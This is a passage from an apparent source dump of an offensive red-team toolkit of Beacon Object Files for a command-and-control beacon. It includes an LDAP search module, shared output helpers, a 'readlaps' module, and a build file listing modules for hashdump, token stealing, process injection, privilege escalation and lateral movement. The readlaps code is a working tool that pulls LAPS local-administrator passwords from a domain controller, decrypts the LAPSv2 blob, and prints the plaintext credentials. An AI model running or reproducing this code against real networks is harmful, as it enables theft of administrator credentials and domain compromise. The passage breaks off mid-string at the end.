NULL, NULL, NULL, 0, &pdcInfo);\n    if (ERROR_SUCCESS == dwRet || hostname) {\n        if(!hostname){\n            internal_printf(\"[*] targeting DC: %s\\n\", pdcInfo->DomainControllerName);       \n        }\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"Failed to identify PDC, are we domain joined?\");\n        goto end;\n    }\n\n\n\t//////////////////////////////\n\t// Initialise LDAP Session\n    // Taken from https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ldap/searching-a-directory\n\t//////////////////////////////\n    char * targetdc = (hostname == NULL) ? pdcInfo->DomainControllerName + 2 : hostname;\n    internal_printf(\"Binding to %s\\n\", targetdc);\n    pLdapConnection = InitialiseLDAPConnection(targetdc, distinguishedName, ldaps);\n\n    if(!pLdapConnection){\n        internal_printf(\"Failed to bind to %s\", targetdc);\n        goto end;\n    }\n\n\t//////////////////////////////\n\t// Perform LDAP Search\n\t//////////////////////////////\n\tpPageHandle = ExecuteLDAPQuery(pLdapConnection, distinguishedName, ldap_filter, ldap_attributes, results_count, scope_of_search);   \n    ULONG pagecount = 0;\n    do\n    {\n        stat = WLDAP32$ldap_get_next_page_s(pLdapConnection, pPageHandle, &timeout, (results_count && ((results_count - totalResults) < 64))  ? results_count - totalResults : 64, &pagecount,&pSearchResult );\n        if(!pSearchResult || ! (stat == LDAP_SUCCESS || stat == LDAP_NO_RESULTS_RETURNED))\n            {goto end;}\n\n        //////////////////////////////\n        // Get Search Result Count\n        //////////////////////////////\n        DWORD numberOfEntries = WLDAP32$ldap_count_entries(\n                            pLdapConnection,    // Session handle\n                            pSearchResult);     // Search result\n        \n        if(numberOfEntries == -1) // -1 is functions return value when it failed\n        {\n            BeaconPrintf(CALLBACK_ERROR, \"Failed to count search results.\");\n            goto end;\n        }\n        else if(!numberOfEntries)\n        {\n            BeaconPrintf(CALLBACK_ERROR, \"Search returned zero results\");\n            goto end;\n        }    \n        \n        totalResults += numberOfEntries;\n\n\n        for( iCnt=0; iCnt < numberOfEntries; iCnt++ )\n        {\n            internal_printf(\"\\n--------------------\");\n\n            // Get the first/next entry.\n            if( !iCnt )\n                {pEntry = WLDAP32$ldap_first_entry(pLdapConnection, pSearchResult);}\n            else\n                {pEntry = WLDAP32$ldap_next_entry(pLdapConnection, pEntry);}\n            \n            if( pEntry == NULL )\n            {\n                break;\n            }\n                    \n            // Get the first attribute name.\n            pAttribute = WLDAP32$ldap_first_attribute(\n                        pLdapConnection,   // Session handle\n                        pEntry,            // Current entry\n                        &pBer);            // [out] Current BerElement\n            \n            // Output the attribute names for the current object\n            // and output values.\n            while(pAttribute != NULL)\n            {\n                isbinary = FALSE;\n                // Get the string values.\n\t\t\t\tif(MSVCRT$strcmp(pAttribute, \"pKIExpirationPeriod\") == 0 || MSVCRT$strcmp(pAttribute, \"pKIOverlapPeriod\") == 0 || MSVCRT$strcmp(pAttribute, \"cACertificate\") == 0 || MSVCRT$strcmp(pAttribute, \"objectSid\") == 0 || MSVCRT$strcmp(pAttribute, \"securityIdentifier\") == 0 || MSVCRT$strcmp(pAttribute, \"objectGUID\") == 0 || MSVCRT$strcmp(pAttribute, \"nTSecurityDescriptor\") == 0 || MSVCRT$strcmp(pAttribute, \"msDS-GenerationId\") == 0 || MSVCRT$strcmp(pAttribute, \"auditingPolicy\") == 0 || MSVCRT$strcmp(pAttribute, \"dSASignature\") == 0 || MSVCRT$strcmp(pAttribute, \"mS-DS-CreatorSID\") == 0 || MSVCRT$strcmp(pAttribute, \"logonHours\") == 0 || MSVCRT$strcmp(pAttribute, \"schemaIDGUID\") == 0 || MSVCRT$strcmp(pAttribute, \"msDS-AllowedToActOnBehalfOfOtherIdentity\") == 0 || MSVCRT$strcmp(pAttribute, \"msDS-GenerationId\") == 0 || MSVCRT$strcmp(pAttribute, \"mSMQDigests\") == 0 || MSVCRT$strcmp(pAttribute, \"mSMQSignCertificates\") == 0 || MSVCRT$strcmp(pAttribute, \"userCertificate\") == 0 || MSVCRT$strcmp(pAttribute, \"attributeSecurityGUID\") == 0 )\n      \t\t\t{\n\t\t\t\t\tppValue = (char **)WLDAP32$ldap_get_values_lenA(pLdapConnection, pEntry, pAttribute); //not really a char **\n                    isbinary = TRUE;\n\t\t\t\t} else {\n                    ppValue = WLDAP32$ldap_get_values(\n                                pLdapConnection,  // Session Handle\n                                pEntry,           // Current entry\n                                pAttribute);      // Current attribute\n                }\n\n\n                // Use and Free memory.\n                if(ppValue != NULL)  \n                {\n                    printAttribute(pAttribute, ppValue);\n                    if(isbinary)\n                    {WLDAP32$ldap_value_free_len((PBERVAL *)ppValue);}\n                    else\n                    {WLDAP32$ldap_value_free(ppValue);}\n                    ppValue = NULL;\n                }\n                WLDAP32$ldap_memfree(pAttribute);\n                \n                // Get next attribute name.\n                pAttribute = WLDAP32$ldap_next_attribute(\n                    pLdapConnection,   // Session Handle\n                    pEntry,            // Current entry\n                    pBer);             // Current BerElement\n            }\n            \n            if( pBer != NULL )\n            {\n                WLDAP32$ber_free(pBer,0);\n                pBer = NULL;\n            }\n        }\n        if(totalResults >= results_count && results_count != 0)\n        {\n            break;\n        }\n        WLDAP32$ldap_msgfree(pSearchResult); pSearchResult = NULL;\n    }while(stat == LDAP_SUCCESS);\n\n    end: \n\tinternal_printf(\"\\nretrieved %lu results total\\n\", totalResults);\n    if(pPageHandle)\n    {\n        searchDone(pLdapConnection, pPageHandle);\n    }\n    if( pBer != NULL )\n    {\n        WLDAP32$ber_free(pBer,0);\n        pBer = NULL;\n    }\n    if(pdcInfo)\n    {\n        NETAPI32$NetApiBufferFree(pdcInfo);\n        pdcInfo = NULL;\n    }\n    if(pLdapConnection)\n    {\n        WLDAP32$ldap_unbind(pLdapConnection);\n        pLdapConnection = NULL;\n    }\n    if(pSearchResult)\n    {\n        WLDAP32$ldap_msgfree(pSearchResult);\n        pSearchResult = NULL;\n    }\n    if (ppValue)\n    {\n        WLDAP32$ldap_value_free(ppValue);\n        ppValue = NULL;\n    }    \n    if(wldap)\n    {\n        FreeLibrary(wldap);\n        wldap = NULL;\n    }\n    intFree(szDN);\n\n}\n\n\n\nVOID go( \n\tIN PCHAR Buffer, \n\tIN ULONG Length \n) \n{\n\tdatap  parser;\n\tconst wchar_t * ldap_filterW = NULL;\n\tchar * ldap_attributes;\n    char * hostname;\n    char * domain;\n\tULONG results_count;\n    ULONG scope_of_search;\n    ULONG ldaps;\n\n\tBeaconDataParse(&parser, Buffer, Length);\n    ldap_filterW = (const wchar_t*) BeaconDataExtract(&parser, NULL);\n\tSIZE_T ldap_filterLen = KERNEL32$lstrlenW(ldap_filterW);\n    char * ldap_filter = intAlloc(ldap_filterLen + 1);\n    ConvertUnicodeStringToChar(ldap_filterW, ldap_filterLen + 1, ldap_filter, ldap_filterLen + 1);\n    ldap_attributes = BeaconDataExtract(&parser, NULL);\n    if(MSVCRT$strcmp(ldap_attributes, \"*\") == 0)\n        ldap_attributes = NULL;\n    results_count = BeaconDataInt(&parser);\n    scope_of_search = BeaconDataInt(&parser);\n    hostname = BeaconDataExtract(&parser, NULL);\n    if(hostname[0] == 0){\n        hostname = NULL;\n    }\n    domain = BeaconDataExtract(&parser, NULL);\n    if(domain[0] == 0){\n        domain = NULL;\n    }\n    ldaps = BeaconDataInt(&parser);\n\n    if(!bofstart())\n\t{\n\t\treturn;\n\t}\n\n\tldapSearch(ldap_filter, ldap_attributes, results_count, scope_of_search, hostname, domain, ldaps==1);\n    intFree(ldap_filter);\n\tprintoutput(TRUE);\n    if(fuuidtostring != (void *)1)\n    {\n        FreeLibrary(rpcrt);\n    }\n    bofstop();\n};"
  },
  {
    "path": "AD-BOF/readlaps/base.c",
    "content": "#include <windows.h>\n#include \"bofdefs.h\"\n#include \"beacon.h\"\n#ifndef bufsize\n#define bufsize 8192\n#endif\n\n\nchar * output __attribute__((section (\".data\"))) = 0;  // this is just done so its we don't go into .bss which isn't handled properly\nWORD currentoutsize __attribute__((section (\".data\"))) = 0;\nHANDLE trash __attribute__((section (\".data\"))) = NULL; // Needed for x64 to not give relocation error\n\n#ifdef BOF\nint bofstart();\nvoid internal_printf(const char* format, ...);\nvoid printoutput(BOOL done);\n#endif\nchar * Utf16ToUtf8(const wchar_t* input);\n\nint bofstart()\n{   \n    output = (char*)MSVCRT$calloc(bufsize, 1);\n    currentoutsize = 0;\n    return 1;\n}\n\nvoid internal_printf(const char* format, ...){\n    int buffersize = 0;\n    int transfersize = 0;\n    char * curloc = NULL;\n    char* intBuffer = NULL;\n    va_list args;\n    va_start(args, format);\n    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null\n    va_end(args);\n    \n    // vsnprintf will return -1 on encoding failure (ex. non latin characters in Wide string)\n    if (buffersize == -1)\n        return;\n    \n    char* transferBuffer = (char*)intAlloc(bufsize);\n    intBuffer = (char*)intAlloc(buffersize);\n    /*Print string to memory buffer*/\n    va_start(args, format);\n    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string\n    va_end(args);\n    if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end\n    {\n        //BeaconFormatPrintf(&output, intBuffer);\n        memcpy(output+currentoutsize, intBuffer, buffersize);\n        currentoutsize += buffersize;\n    }\n    else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print\n    {\n        curloc = intBuffer;\n        while(buffersize > 0)\n        {\n            transfersize = bufsize - currentoutsize; // what is the max we could transfer this request\n            if(buffersize < transfersize) //if I have less then that, lets just transfer what's left\n            {\n                transfersize = buffersize;\n            }\n            memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer\n            currentoutsize += transfersize;\n            if(currentoutsize == bufsize)\n            {\n            printoutput(FALSE); // sets currentoutsize to 0 and prints\n            }\n            memset(transferBuffer, 0, transfersize); // reset our transfer buffer\n            curloc += transfersize; // increment by how much data we just wrote\n            buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall\n        }\n    }\n    intFree(intBuffer);\n    intFree(transferBuffer);\n}\n\nvoid printoutput(BOOL done)\n{\n\n    char * msg = NULL;\n    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);\n    currentoutsize = 0;\n    memset(output, 0, bufsize);\n    if(done) {MSVCRT$free(output); output=NULL;}\n}\n\n\n#ifdef DYNAMIC_LIB_COUNT\n\n\ntypedef struct loadedLibrary {\n    HMODULE hMod; // mod handle\n    const char * name; // name normalized to uppercase\n}loadedLibrary, *ploadedLibrary;\nloadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (\".data\"))) = {0};\nDWORD loadedLibrariesCount __attribute__((section (\".data\"))) = 0;\n\nBOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget)\n{\n    BOOL bmatch = FALSE;\n    DWORD pos = 0;\n    while(szLibrary[pos] && sztarget[pos])\n    {\n        if(szLibrary[pos] != sztarget[pos])\n        {\n            goto end;\n        }\n        pos++;\n    }\n    if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match\n        {goto end;}\n    bmatch = TRUE;\n\n    end:\n    return bmatch;\n}\n\nFARPROC DynamicLoad(const char * szLibrary, const char * szFunction)\n{\n    FARPROC fp = NULL;\n    HMODULE hMod = NULL;\n    DWORD i = 0;\n    DWORD liblen = 0;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        if(intstrcmp(szLibrary, loadedLibraries[i].name))\n        {\n            hMod = loadedLibraries[i].hMod;\n        }\n    }\n    if(!hMod)\n    {\n        hMod = LoadLibraryA(szLibrary);\n        if(!hMod){ \n            BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\nCould not find library to load.\", szLibrary);\n            return NULL;\n        }\n        loadedLibraries[loadedLibrariesCount].hMod = hMod;\n        loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop\n        loadedLibrariesCount++;\n    }\n    fp = GetProcAddress(hMod, szFunction);\n\n    if (NULL == fp)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\n\", szFunction);\n    }\n    return fp;\n}\n#endif\n\n\nchar* Utf16ToUtf8(const wchar_t* input)\n{\n    int ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        NULL,\n        0,\n        NULL,\n        NULL\n    );\n\n    char* newString = (char*)intAlloc(sizeof(char) * ret);\n\n    ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        newString,\n        sizeof(char) * ret,\n        NULL,\n        NULL\n    );\n\n    if (0 == ret)\n    {\n        goto fail;\n    }\n\nretloc:\n    return newString;\n/*location to free everything centrally*/\nfail:\n    if (newString){\n        intFree(newString);\n        newString = NULL;\n    };\n    goto retloc;\n}\n\n//release any global functions here\nvoid bofstop()\n{\n#ifdef DYNAMIC_LIB_COUNT\n    DWORD i;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        FreeLibrary(loadedLibraries[i].hMod);\n    }\n#endif\n\treturn;\n}\n"
  },
  {
    "path": "AD-BOF/readlaps/readlaps.c",
    "content": "// Reference: https://github.com/xpn/RandomTSScripts/blob/master/lapsv2decrypt/bof/lapsv2decrypt.cpp\n\n#include <windows.h>\n#include <ncrypt.h>\n#include <winldap.h>\n#include <winber.h>\n#define DYNAMIC_LIB_COUNT 2\n\n#include \"base.c\"\n\n#ifndef NCRYPT_SILENT_FLAG\n#define NCRYPT_SILENT_FLAG 0x00000040\n#endif\n\ntypedef ULONG_PTR NCRYPT_STREAM_HANDLE;\n\ntypedef SECURITY_STATUS (WINAPI *PFNCryptStreamOutputCallback)(\n    void *pvCallbackCtxt,\n    const BYTE *pbData,\n    SIZE_T cbData,\n    BOOL fFinal);\n\ntypedef struct NCRYPT_PROTECT_STREAM_INFO {\n    PFNCryptStreamOutputCallback pfnStreamOutput;\n    void *pvCallbackCtxt;\n} NCRYPT_PROTECT_STREAM_INFO;\n\n// WLDAP32 function pointers\ntypedef LDAP *LDAPAPI (*ldap_initA_t)(PSTR HostName, ULONG PortNumber);\ntypedef ULONG LDAPAPI (*ldap_bind_sA_t)(LDAP *ld, const PSTR dn, const PCHAR cred, ULONG method);\ntypedef ULONG LDAPAPI (*ldap_unbind_t)(LDAP *ld);\ntypedef ULONG LDAPAPI (*ldap_search_s_t)(LDAP *ld, const PSTR base, ULONG scope, const PSTR filter, PCHAR attrs[], ULONG attrsonly, LDAPMessage **res);\ntypedef ULONG LDAPAPI (*ldap_count_entries_t)(LDAP *ld, LDAPMessage *res);\ntypedef LDAPMessage* LDAPAPI (*ldap_first_entry_t)(LDAP *ld, LDAPMessage *res);\ntypedef struct berval **LDAPAPI (*ldap_get_values_lenA_t)(LDAP *ld, LDAPMessage *entry, const PCHAR attr);\ntypedef ULONG LDAPAPI (*ldap_value_free_len_t)(struct berval **vals);\ntypedef ULONG LDAPAPI (*ldap_msgfree_t)(LDAPMessage *res);\n\n#define WLDAP32$ldap_initA ((ldap_initA_t)DynamicLoad(\"WLDAP32\", \"ldap_initA\"))\n#define WLDAP32$ldap_bind_sA ((ldap_bind_sA_t)DynamicLoad(\"WLDAP32\", \"ldap_bind_sA\"))\n#define WLDAP32$ldap_unbind ((ldap_unbind_t)DynamicLoad(\"WLDAP32\", \"ldap_unbind\"))\n#define WLDAP32$ldap_search_s ((ldap_search_s_t)DynamicLoad(\"WLDAP32\", \"ldap_search_s\"))\n#define WLDAP32$ldap_count_entries ((ldap_count_entries_t)DynamicLoad(\"WLDAP32\", \"ldap_count_entries\"))\n#define WLDAP32$ldap_first_entry ((ldap_first_entry_t)DynamicLoad(\"WLDAP32\", \"ldap_first_entry\"))\n#define WLDAP32$ldap_get_values_lenA ((ldap_get_values_lenA_t)DynamicLoad(\"WLDAP32\", \"ldap_get_values_lenA\"))\n#define WLDAP32$ldap_value_free_len ((ldap_value_free_len_t)DynamicLoad(\"WLDAP32\", \"ldap_value_free_len\"))\n#define WLDAP32$ldap_msgfree ((ldap_msgfree_t)DynamicLoad(\"WLDAP32\", \"ldap_msgfree\"))\n\n// NCRYPT function pointers\ntypedef SECURITY_STATUS (WINAPI *NCryptStreamOpenToUnprotect_t)(\n    NCRYPT_PROTECT_STREAM_INFO *pStreamInfo,\n    DWORD dwFlags,\n    HWND hWnd,\n    NCRYPT_STREAM_HANDLE *phStream);\n\ntypedef SECURITY_STATUS (WINAPI *NCryptStreamUpdate_t)(\n    NCRYPT_STREAM_HANDLE hStream,\n    const BYTE *pbData,\n    SIZE_T cbData,\n    BOOL fFinal);\n\ntypedef SECURITY_STATUS (WINAPI *NCryptStreamClose_t)(\n    NCRYPT_STREAM_HANDLE hStream);\n\n#define NCRYPT$NCryptStreamOpenToUnprotect ((NCryptStreamOpenToUnprotect_t)DynamicLoad(\"NCRYPT\", \"NCryptStreamOpenToUnprotect\"))\n#define NCRYPT$NCryptStreamUpdate ((NCryptStreamUpdate_t)DynamicLoad(\"NCRYPT\", \"NCryptStreamUpdate\"))\n#define NCRYPT$NCryptStreamClose ((NCryptStreamClose_t)DynamicLoad(\"NCRYPT\", \"NCryptStreamClose\"))\n\n// Blob header structure\nstruct blob_header {\n    unsigned int upperdate;\n    unsigned int lowerdate;\n    unsigned int encryptedBufferSize;\n    unsigned int flags;\n};\n\n\n// LDAP search function - returns TRUE if found, sets isEncrypted flag\nBOOL searchLdap(PSTR ldapServer, ULONG port, PCHAR rootDN, PCHAR searchFilter, char **output, int* length, BOOL* isEncrypted) {\n    LDAP *ldapHandle = NULL;\n    PLDAPMessage searchResult = NULL;\n    PCHAR attr[] = { \"msLAPS-EncryptedPassword\", \"ms-Mcs-AdmPwd\", NULL };\n    ULONG entryCount;\n    PLDAPMessage firstEntry = NULL;\n    struct berval** outval = NULL;\n    ULONG result;\n\n    *isEncrypted = TRUE; // Default to encrypted (LAPS v2)\n\n    ldapHandle = WLDAP32$ldap_initA(ldapServer, port);\n    if (ldapHandle == NULL) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Error Initialising LDAP connection: ldap_initA\");\n        return FALSE;\n    }\n\n    result = WLDAP32$ldap_bind_sA(ldapHandle, rootDN, NULL, LDAP_AUTH_NEGOTIATE);\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Error binding to LDAP server (code: 0x%x). Try using a hostname instead of IP address.\", result);\n        WLDAP32$ldap_unbind(ldapHandle);\n        return FALSE;\n    }\n\n    result = WLDAP32$ldap_search_s(ldapHandle, rootDN, LDAP_SCOPE_SUBTREE, searchFilter, attr, 0, &searchResult);\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] LDAP search failed (code: 0x%x)\", result);\n        if (searchResult != NULL)\n            WLDAP32$ldap_msgfree(searchResult);\n        WLDAP32$ldap_unbind(ldapHandle);\n        return FALSE;\n    }\n\n    entryCount = WLDAP32$ldap_count_entries(ldapHandle, searchResult);\n    if (entryCount == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] 0 results found from LDAP\");\n        if (searchResult != NULL)\n            WLDAP32$ldap_msgfree(searchResult);\n        WLDAP32$ldap_unbind(ldapHandle);\n        return FALSE;\n    }\n\n    firstEntry = WLDAP32$ldap_first_entry(ldapHandle, searchResult);\n    if (firstEntry == NULL) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Error getting first LDAP entry\");\n        if (searchResult != NULL)\n            WLDAP32$ldap_msgfree(searchResult);\n        WLDAP32$ldap_unbind(ldapHandle);\n        return FALSE;\n    }\n\n    // Try LAPS v2 attribute first\n    outval = WLDAP32$ldap_get_values_lenA(ldapHandle, firstEntry, attr[0]);\n    if (outval == NULL) {\n        // Try legacy LAPS attribute\n        outval = WLDAP32$ldap_get_values_lenA(ldapHandle, firstEntry, attr[1]);\n        if (outval == NULL) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Computer found but no LAPS password attribute present\");\n            if (searchResult != NULL)\n                WLDAP32$ldap_msgfree(searchResult);\n            WLDAP32$ldap_unbind(ldapHandle);\n            return FALSE;\n        }\n        *isEncrypted = FALSE; // Legacy LAPS is plaintext\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] This appears to be legacy LAPS (not v2). Password is not encrypted.\");\n    }\n\n    // Copy the output data before cleaning up LDAP resources\n    *length = outval[0]->bv_len;\n    *output = (char*)intAlloc(*length + 1);\n    if (*output == NULL) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Memory allocation failed\");\n        WLDAP32$ldap_value_free_len(outval);\n        if (searchResult != NULL)\n            WLDAP32$ldap_msgfree(searchResult);\n        WLDAP32$ldap_unbind(ldapHandle);\n        return FALSE;\n    }\n    MSVCRT$memcpy(*output, outval[0]->bv_val, *length);\n    (*output)[*length] = '\\0'; // Null terminate for safety\n\n    // Clean up LDAP resources\n    WLDAP32$ldap_value_free_len(outval);\n    if (searchResult != NULL)\n        WLDAP32$ldap_msgfree(searchResult);\n    WLDAP32$ldap_unbind(ldapHandle);\n\n    return TRUE;\n}\n\n// Decryption callback\nSECURITY_STATUS WINAPI decryptCallback(\n    void* pvCallbackCtxt,\n    const BYTE* pbData,\n    SIZE_T cbData,\n    BOOL isFinal) {\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Decrypted Output: %ls\", pbData);\n    return 0;\n}\n\n// Unprotect secret function\nBOOL unprotectSecret(BYTE* protectedData, ULONG protectedDataLength) {\n    SECURITY_STATUS error;\n    NCRYPT_PROTECT_STREAM_INFO streamInfo;\n    NCRYPT_STREAM_HANDLE streamHandle;\n\n\n    streamInfo.pfnStreamOutput = decryptCallback;\n    streamInfo.pvCallbackCtxt = NULL;\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Decrypting secret...\");\n\n    if ((error = NCRYPT$NCryptStreamOpenToUnprotect(&streamInfo, NCRYPT_SILENT_FLAG, 0, &streamHandle)) != 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] NCryptStreamOpenToUnprotect error: %x\", error);\n        return FALSE;\n    }\n\n    if ((error = NCRYPT$NCryptStreamUpdate(streamHandle, protectedData + 16, protectedDataLength - 16, TRUE)) != 0) {\n        NCRYPT$NCryptStreamClose(streamHandle);\n        BeaconPrintf(CALLBACK_ERROR, \"[!] NCryptStreamUpdate error: %x\", error);\n        return FALSE;\n    }\n\n    NCRYPT$NCryptStreamClose(streamHandle);\n    return TRUE;\n}\n\nvoid go(char* args, int len) {\n    unsigned char* output = NULL;\n    int length = 0;\n    struct blob_header* header = NULL;\n    datap parser;\n\n    char* domainController = NULL;\n    char* rootDN = NULL;\n    char* searchFilter = NULL;\n    int stringSize = 0;\n    BOOL isEncrypted = TRUE;\n\n\n    // Parse arguments\n    BeaconDataParse(&parser, args, len);\n\n    domainController = BeaconDataExtract(&parser, NULL);\n    if (!domainController || domainController[0] == '\\0') {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Domain controller is required\");\n        return;\n    }\n\n    rootDN = BeaconDataExtract(&parser, NULL);\n    if (!rootDN || rootDN[0] == '\\0') {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Root DN is required\");\n        return;\n    }\n\n    searchFilter = BeaconDataExtract(&parser, &stringSize);\n    if (!searchFilter || searchFilter[0] == '\\0' || stringSize == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Search filter is required\");\n        return;\n    }\n\n    char* targetName = BeaconDataExtract(&parser, NULL);\n    if (targetName && targetName[0] != '\\0') {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] Target: %s\", targetName);\n    }\n\n    if (!searchLdap(domainController, 389, rootDN, searchFilter, (char**)&output, &length, &isEncrypted)) {\n        return;\n    }\n\n    // If legacy LAPS just print the password\n    if (!isEncrypted) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Legacy LAPS Password: %s\", (char*)output);\n        intFree(output); // Clean up allocated memory\n        return;\n    }\n\n    // Otherwise it's LAPS v2, parse header and decrypt\n    header = (struct blob_header*)output;\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"\\n[+] LAPSv2 Blob Header Info:\");\n    BeaconPrintf(CALLBACK_OUTPUT, \"    Upper Date Timestamp: %d\", header->upperdate);\n    BeaconPrintf(CALLBACK_OUTPUT, \"    Lower Date Timestamp: %d\", header->lowerdate);\n    BeaconPrintf(CALLBACK_OUTPUT, \"    Encrypted Buffer Size: %d\", header->encryptedBufferSize);\n    BeaconPrintf(CALLBACK_OUTPUT, \"    Flags: %d\\n\", header->flags);\n\n    if (header->encryptedBufferSize != length - sizeof(struct blob_header)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Header Length (%d) and LDAP Returned Length (%d) Don't Match.. decryption may fail\",\n                       header->encryptedBufferSize, length - sizeof(struct blob_header));\n    }\n\n    if (!unprotectSecret((BYTE*)output, length)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Could not unprotect LAPS creds\");\n        intFree(output);\n        return;\n    }\n\n    intFree(output);\n}\n"
  },
  {
    "path": "CMakeLists.txt",
    "content": "cmake_minimum_required(VERSION 3.16)\nproject(ExtensionKit C CXX)\n\nset(CMAKE_C_STANDARD 99)\nset(CMAKE_CXX_STANDARD 11)\n\nset(CMAKE_C_COMPILER x86_64-w64-mingw32-gcc)\nset(CMAKE_CXX_COMPILER x86_64-w64-mingw32-g++)\n\ninclude_directories( /usr/x86_64-w64-mingw32/include )\n\n# Main include directory at root level\nset(MAIN_INCLUDE_DIR ${CMAKE_CURRENT_SOURCE_DIR}/_include CACHE INTERNAL \"Main include directory\")\n\n# Additional include directories for specific subprojects\nset(KERBEUS_BOF_INCLUDE_DIR ${CMAKE_CURRENT_SOURCE_DIR}/AD-BOF/Kerbeus-BOF/_include CACHE INTERNAL \"Kerbeus-BOF include directory\")\nset(SQL_BOF_INCLUDE_DIR ${CMAKE_CURRENT_SOURCE_DIR}/AD-BOF/SQL-BOF/common CACHE INTERNAL \"SQL-BOF include directory\")\nset(LDAP_BOF_INCLUDE_DIR ${CMAKE_CURRENT_SOURCE_DIR}/AD-BOF/LDAP-BOF/_include CACHE INTERNAL \"LDAP-BOF include directory\")\nset(LDAP_BOF_COMMON_DIR ${CMAKE_CURRENT_SOURCE_DIR}/AD-BOF/LDAP-BOF/src/common CACHE INTERNAL \"LDAP-BOF common directory\")\nset(CREDS_BOF_INCLUDE_DIR ${CMAKE_CURRENT_SOURCE_DIR}/Creds-BOF/_include CACHE INTERNAL \"Creds-BOF include directory\")\n\n# Add global include directory\ninclude_directories(${MAIN_INCLUDE_DIR})\n\n# Global compiler flags\nset(CMAKE_C_FLAGS \"${CMAKE_C_FLAGS} -Os -DBOF\")\nset(CMAKE_CXX_FLAGS \"${CMAKE_CXX_FLAGS} -Os -DBOF\")\n\n# Add subdirectories - all will have access to global includes and variables\nadd_subdirectory(AD-BOF)\nadd_subdirectory(Creds-BOF)\nadd_subdirectory(Elevation-BOF)\nadd_subdirectory(Execution-BOF)\nadd_subdirectory(Injection-BOF)\nadd_subdirectory(LateralMovement-BOF)\nadd_subdirectory(Postex-BOF)\nadd_subdirectory(Process-BOF)\nadd_subdirectory(SAL-BOF)\nadd_subdirectory(SAR-BOF)\n\n# Create a single target that builds all BOF projects\nadd_custom_target(build-all-bofs\n    DEPENDS\n        ldapsearch adws_search readlaps badtakeover\n        askcreds autologon credman hashdump cookie-monster get-netntlm underlaycopy\n        getsystem_token uac_regshellcmd printspoofer uac_sspi DCOMPotato\n        execute-assembly\n        inject_cfg inject_sec inject_poolparty inject_32to64\n        psexec scshell token_make token_steal winrm\n        Screenshot addfirewallrule sauroneye\n        findmodule findprochandle psc procfreeze\n        arp cacls dir env ipconfig listdns netstat nslookup routeprint uptime useridletime whoami\n        vulndrivers alwayselevated hijackablepath tokenpriv unattendfiles unquotedsvc\n        smartscan nbtscan taskhound quser\n    COMMENT \"Building all BOF projects\"\n)\n\n# Clean target for all _bin directories\nadd_custom_target(clean-all-bins\n    COMMAND ${CMAKE_COMMAND} -E remove_directory ${CMAKE_CURRENT_SOURCE_DIR}/AD-BOF/_bin\n    COMMAND ${CMAKE_COMMAND} -E remove_directory ${CMAKE_CURRENT_SOURCE_DIR}/Creds-BOF/_bin\n    COMMAND ${CMAKE_COMMAND} -E remove_directory ${CMAKE_CURRENT_SOURCE_DIR}/Elevation-BOF/_bin\n    COMMAND ${CMAKE_COMMAND} -E remove_directory ${CMAKE_CURRENT_SOURCE_DIR}/Execution-BOF/_bin\n    COMMAND ${CMAKE_COMMAND} -E remove_directory ${CMAKE_CURRENT_SOURCE_DIR}/Injection-BOF/_bin\n    COMMAND ${CMAKE_COMMAND} -E remove_directory ${CMAKE_CURRENT_SOURCE_DIR}/LateralMovement-BOF/_bin\n    COMMAND ${CMAKE_COMMAND} -E remove_directory ${CMAKE_CURRENT_SOURCE_DIR}/Postex-BOF/_bin\n    COMMAND ${CMAKE_COMMAND} -E remove_directory ${CMAKE_CURRENT_SOURCE_DIR}/Process-BOF/_bin\n    COMMAND ${CMAKE_COMMAND} -E remove_directory ${CMAKE_CURRENT_SOURCE_DIR}/SAL-BOF/_bin\n    COMMAND ${CMAKE_COMMAND} -E remove_directory ${CMAKE_CURRENT_SOURCE_DIR}/SAR-BOF/_bin\n    COMMENT \"Cleaning all _bin directories\"\n)\n\nmessage(STATUS \"==========================================\")\nmessage(STATUS \"ExtensionKit Configuration Summary\")\nmessage(STATUS \"==========================================\")\nmessage(STATUS \"C Compiler: ${CMAKE_C_COMPILER}\")\nmessage(STATUS \"CXX Compiler: ${CMAKE_CXX_COMPILER}\")\nmessage(STATUS \"C Standard: 